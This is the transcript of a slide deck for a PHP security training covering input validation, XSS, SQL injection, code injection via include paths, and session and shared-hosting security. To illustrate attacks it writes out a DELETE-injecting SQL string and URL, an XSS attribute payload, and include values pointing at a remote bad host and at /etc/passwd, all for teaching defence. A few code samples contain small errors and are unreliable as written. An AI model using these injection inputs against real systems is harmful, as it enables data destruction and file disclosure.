php security value1

39
.Training Presented By : Anish & Mugdha Value One InfoTech Pvt. Ltd.

Upload: aung-khant

Post on 11-Nov-2014

848 views

Category:

Economy & Finance


1 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Php Security Value1

.Training

Presented By :Anish & MugdhaValue One InfoTech Pvt. Ltd.

Page 2: Php Security Value1

.Training

Importance of PHP Security

Concerns of PHP SecurityInput ValidationCross-Site ScriptingSQL InjectionCode InjectionSession SecurityShared Hosting

Topics of Discussion

Page 3: Php Security Value1

.Training

PHP is widely used language for web applications

PHP is making headway into enterprise as well as corporatemarkets.

Most effective & often overlooked measure to prevent malicioususers

PHP applications often end up working with sensitive data.

Importance of PHP Security

Page 4: Php Security Value1

.Training

Page 5: Php Security Value1

.Training

All user inputs are unreliable and can’t be trusted.

Need for validating any user input before use :

Unexpected Modification by the userIntentional attempt to gain unauthorized access to theapplicationAttempt to crash the application by the malicious users

Input Validation

Page 6: Php Security Value1

.Training

Most common source of vulnerabilities in PHP applications.

Any input parameters are translated to variables :-?foo=bar >> $foo = “bar”;

No way to determine the input source.Prioritized sources like cookies can overwrite GET values.

When register global is set ON, un-initialized variables can be “injected” via user inputs.

Register Globals

Page 7: Php Security Value1

.Training

Disable register_globals in PHP.ini (Disabled by-default as of PHP 4.2.0)

Alternative to Register Global : SUPER GLOBALS$_GET – data from get requests.$_POST – post request data.$_COOKIE – cookie information.$_FILES – uploaded file data.$_SERVER – server data$_ENV – environment variables$_REQUEST – mix of GET, POST, COOKIE

Solutions To Register Globals

Page 8: Php Security Value1

.Training

Type sensitive validation conditions.Because input is always a string, type sensitive compare to a Boolean or an integer will always fail.

Example if ($authorized === TRUE){

// LOGIN SUCCESS}

Contd…

Page 9: Php Security Value1

.Training

Code with error_reporting set to E_ALL.Allows you to see warnings about the use of un-initialized variables.

Use of constants Created via define() functionOnce set, remains defined until end of request Can be made case-insensitive to avoid accidental access to a different datum caused by case variance.

Contd…

Page 10: Php Security Value1

.Training

Suffers from the loss of data problem, caused when the same parameter is provided by multiple input sources.

PHP.ini: variables_order = GPCS (Last data source has highest priority)

Example echo $_GET['id']; // 1echo $_COOKIE['id']; // 2echo $_REQUEST['id']; // 2

Use the input method-specific superglobals intead of $_REQUEST

Cons of $ REQUEST

Page 11: Php Security Value1

.Training

All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using strings where integers are needed is not only inefficient but also dangerous.

Casting is a simple and very efficient way to ensure that variables contain numeric values.

Example of floating point number validationif (!empty($_GET['price'])) {

$price = (float) $_GET['price'];} else $price = 0;

Numeric Data Validation

Page 12: Php Security Value1

.Training

PHP comes with a ctype, extension that offers a very quick mechanism for validating string content.

if (!ctype_alnum($_GET['login'])) {echo "Only A-Za-z0-9 are allowed.";

}if (!ctype_alpha($_GET['captcha'])) {

echo "Only A-Za-z are allowed.";}if (!ctype_xdigit($_GET['color'])) {

echo "Only hexadecimal values are allowed";}

String Validation

Page 13: Php Security Value1

.Training

What are Magic Quotes ??

Problems associated with it !!

How to deal with it ??

Using Magic Quotes

Page 14: Php Security Value1

.Training

Page 15: Php Security Value1

.Training

Cross Site Scripting (XSS) is a situation where by attacker injects HTML code, which is then displayed on the page without further validation.

Can lead to embarrassmentSession take-overPassword theftUser tracking by 3rd parties

Cross Site Scripting (XSS)

Page 16: Php Security Value1

.Training

Prevention of XSS is as simple as filtering input data via one of the following:

htmlspecialchars()Encodes ‘, “, <, >, &

htmlentities()Convert anything that there is HTML entity for.

strip_tags()Strips anything that resembles HTML tag.

Tag allowances in strip_tags() are dangerous, because attributesof those tags are not being validated in any way.

Preventing XSS

Page 17: Php Security Value1

.Training

$str = strip_tags($_POST['message']);

// encode any foreign & special chars$str = htmlentities($str);

// strip tags can be told to "keep" certain tags$str = strip_tags($_POST['message'], '<b><p><i><u>');

// tag allowance problems<u onmouseover="alert('JavaScript is allowed');"><b style="font-size: 500px">Lot's of text</b></u>

Preventing XSS

Page 18: Php Security Value1

.Training

Page 19: Php Security Value1

.Training

SQL injection is similar to XSS, in the fact that not validated data is being used. But in this case this data is passed to the database.

Arbitrary query executionRemoval of data.Modification of existing values.Denial of service.Arbitrary data injection.

// consider this query, it will delete all records from users$name = “mugdha’; DELETE FROM users;”;mysql_query(“SELECT * FROM users WHERE name =’{$name}’”);

SQL Injection

Page 20: Php Security Value1

.Training

If your database extension offers a specific escaping function then always use it; instead of other methods

MySQLmysql_escape_string()mysql_real_escape_string()

PostgreSQLpg_escape_string()pg_escape_bytea()

SQLitesqlite_escape_string()

SQL Escaping

Page 21: Php Security Value1

.Training

SQL Escaping in Practice// undo magic_quotes_gpc to avoid double escapingif (get_magic_quotes_gpc()) {

$_GET['name'] = stripslashes($_GET['name'];$_POST['binary'] = stripslashes($_GET['binary']);

}

$name = pg_escape_string($_GET['name']);$binary = pg_escape_bytea($_POST['binary']);

pg_query($db, "INSERT INTO tbl (name,image)VALUES('{$name}', '{$image}')");

Page 22: Php Security Value1

.Training

When un-quoted integers are passed to SQL queries, escaping functions won’t save you, since there are no special chars to escape.

http://example.com/db.php?id=0;DELETE%20FROM%20users

<?php$id = sqlite_escape_string($_GET['id']);// $id is still 0;DELETE FROM userssqlite_query($db,"SELECT * FROM users WHERE id={$id}");// Bye Bye user data...

?>

Escaping Shortfall

Page 23: Php Security Value1

.Training

Prepared statements are a mechanism to secure and optimize execution of repeated queries.

Works by making SQL “compile” the query and then substitute in the changing values for each execution.

Increased performance, one compile vs one per query.Better security, data is “type set” will never be evaluated asseparate query.Supported by most database systems.

MySQL users will need to use version 4.1 or higher.SQLite extension does not support this either.

Prepared Statements

Page 24: Php Security Value1

.Training

<?php$data = "Here is some text to index";pg_query($db, "PREPARE my_stmt (text) ASINSERT INTO search_idx (word) VALUES($1)");foreach (explode(" ", $data) as $word) {// no is escaping needed

pg_query($db, "EXECUTE my_stmt({$word})");}// de-allocte the prepared statementpg_query($db, "DEALLOCATE my_stmt");

?>Unless explicitly removed, prepared statements “stay alive”between persistent connections.

Prepared Statements

Page 25: Php Security Value1

.Training

Page 26: Php Security Value1

.Training

Code Injection is the execution of arbitrary local or remote code.

The two of the most common sources of code injection are:Dynamic paths/files used in require/include statementseval(): A major source of code injection is the improper validation of eval().

Code Injection

Page 27: Php Security Value1

.Training

Avoid using dynamic or relative paths/files in your code. Although somewhat less convenient; always use full paths, defined by constants, which will prevent attacks like these:<?php//dynamic path$_GET['path'] = ‘http://bad_site.org’;include "{$_GET['path']}/header.inc";//dynamic file$_GET[‘interface’] = ‘../../../../../etc/passwd’;

require‘home/mbr/profile/templates_c/interfaces/’.$_GET[‘interface’];?>

There are some other ways to secure include or require calls...

Code Injection Prevention

Page 28: Php Security Value1

.Training

work with a white-list of acceptable values.//create an array of acceptable file names$tmpl = array();

foreach(glob("templates/*.tmpl") as $v) {$tmpl[md5($v)] = $v;

}

if (isset($tmpl[$_GET['path']])) {$fp = fopen($tmpl[$_GET['path']], "r");

}

Code Injection Prevention

Page 29: Php Security Value1

.Training

Page 30: Php Security Value1

.Training

Sessions are a common tool for user tracking across a web site.

For the duration of a visit, the session is effectively the user’s identity.

If an active session can be obtained by 3rd party, it can assume the identity of the user who’s session was compromised.

Session Security

Page 31: Php Security Value1

.Training

To prevent session id theft, the id can be altered on every request, invalidating old values.<?php

session_start();if (!empty($_SESSION)) { // not a new sessionsession_regenerate_id(TRUE); // make new session id}

?>Because the session changes on every request, the “back” buttonin a browser will no longer work, as it will make a request withthe old session id.

Securing Session ID

Page 32: Php Security Value1

.Training

Another session security technique is to compare the browser signature headers.session_start();$chk = @md5(

$_SERVER['HTTP_ACCEPT_CHARSET'] .$_SERVER['HTTP_ACCEPT_ENCODING'] .$_SERVER['HTTP_ACCEPT_LANGUAGE'] .$_SERVER['HTTP_USER_AGENT']);

if (empty($_SESSION))$_SESSION['key'] = $chk;

else if ($_SESSION['key'] != $chk)session_destroy();

Session Validation

Page 33: Php Security Value1

.Training

Another session security technique is to compare the browser signature headers.session_start();$chk = @md5(

$_SERVER['HTTP_ACCEPT_CHARSET'] .$_SERVER['HTTP_ACCEPT_ENCODING'] .$_SERVER['HTTP_ACCEPT_LANGUAGE'] .$_SERVER['HTTP_USER_AGENT'].$_SERVER['REMOTE_ADDR'].microtime());

Session Validation

Edited & Strengthened by yehg.netReason: the previous slide presented brekable security

Page 34: Php Security Value1

.Training

By default PHP sessions are stored as files inside the common /tmp directory.

This often means any user on the system could see active sessions and “acquire” them or even modify their content.

Solutions?Separate session storage directory via

session.save_pathDatabase storage mechanism, mysql, pgsql, oci, sqlite.Custom session handler allowing data storage anywhere.

Safer Session Storage

Page 35: Php Security Value1

.Training

Page 36: Php Security Value1

.Training

Most PHP applications run in shared environments where all users “share” the same web server instances.

This means that all files that are involved in serving content mustbe accessible to the web server (world readable).

Consequently it means that any user could read the content of files of all other users.

Shared Hosting

Page 37: Php Security Value1

.Training

PHP’s solution to this problem are 2 php.ini directives.

open_basedir – limits file access to one or more specified directories.

Relatively Efficient.Uncomplicated.

safe_mode – limits file access based on uid/gid of running scriptand file to be accessed.

Slow and complex approach.Can be bypassed with little effort.

The PHP Solution

Page 38: Php Security Value1

.Training

php|architect’s Guide to PHP SecurityBy Ilia Alshanetsky

Essential PHP SecurityBy Chris Shiflett

References

Page 39: Php Security Value1

.Training